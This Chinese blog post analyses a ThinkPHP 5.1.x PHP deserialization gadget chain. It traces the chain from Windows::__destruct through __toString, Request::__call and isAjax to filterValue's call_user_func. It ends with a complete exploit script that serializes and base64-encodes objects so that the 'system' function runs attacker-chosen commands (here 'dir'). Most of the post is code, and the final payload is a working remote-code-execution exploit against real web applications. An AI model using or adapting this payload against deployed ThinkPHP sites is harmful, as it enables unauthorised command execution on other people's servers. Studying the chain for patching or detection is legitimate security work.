thinkphp 5.1.x pop链

ThinkPHP5.1.X反序列化利用链

think\process\pipes\Windows->__destruct()

入口点:thinkphp/library/think/process/pipes/Windows.php

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}
private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

精髓的地方是file_exists会触发__toString()

think\model\concern\Conversion->__toString()

一直到toArray()

if (!$relation) {
    $relation = $this->getAttr($key)
    if ($relation) {
        $relation->visible($name);
    }
}

$relation传入Request类,触发__call()

think\Request->__call()

public function __call($method, $args)#method="visible"&args=[["dir"]]
{#hook = ["visible"=>[$this,"isAjax"]]
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);#args=[$this,["dir"]]
        return call_user_func_array($this->hook[$method], $args);
    }

    throw new Exception('method not exists:' . static::class . '->' . $method);
}

call_user_func_arraythink\Request->isAjax()或者isPjax

public function isAjax($ajax = false)#ajax=$this,["dir"]
{
    $value  = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;

    if (true === $ajax) {
        return $result;
    }
    #$this->config = ["var_ajax"=>'lin']
    $result           = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
}

进入param()一路走到最后的input()

if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
    if (version_compare(PHP_VERSION, '7.1.0', '<')) {
        // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
        $this->arrayReset($data);
    }
} else {
    $this->filterValue($data, $name, $filter);
}

再进filterValue,最后

if (is_callable($filter)) {
    // 调用函数或者方法过滤
    $value = call_user_func($filter, $value);
}

exp

<?php
namespace think;
abstract class Model{
    protected $append;
    private $data;
    function __construct(){
        $this->append = ["sy1j"=>["whatever"]];
        $this->data = ["sy1j"=>new Request()];
    }
}
class Request
{
    protected $hook;
    protected $filter;
    protected $config;
    protected $param;
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'sy1j'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
        $this->param = ['sy1j'=>'dir'];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files;

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
posted @ 2020-09-09 10:19  MustaphaMond  阅读(249)  评论(0编辑  收藏  举报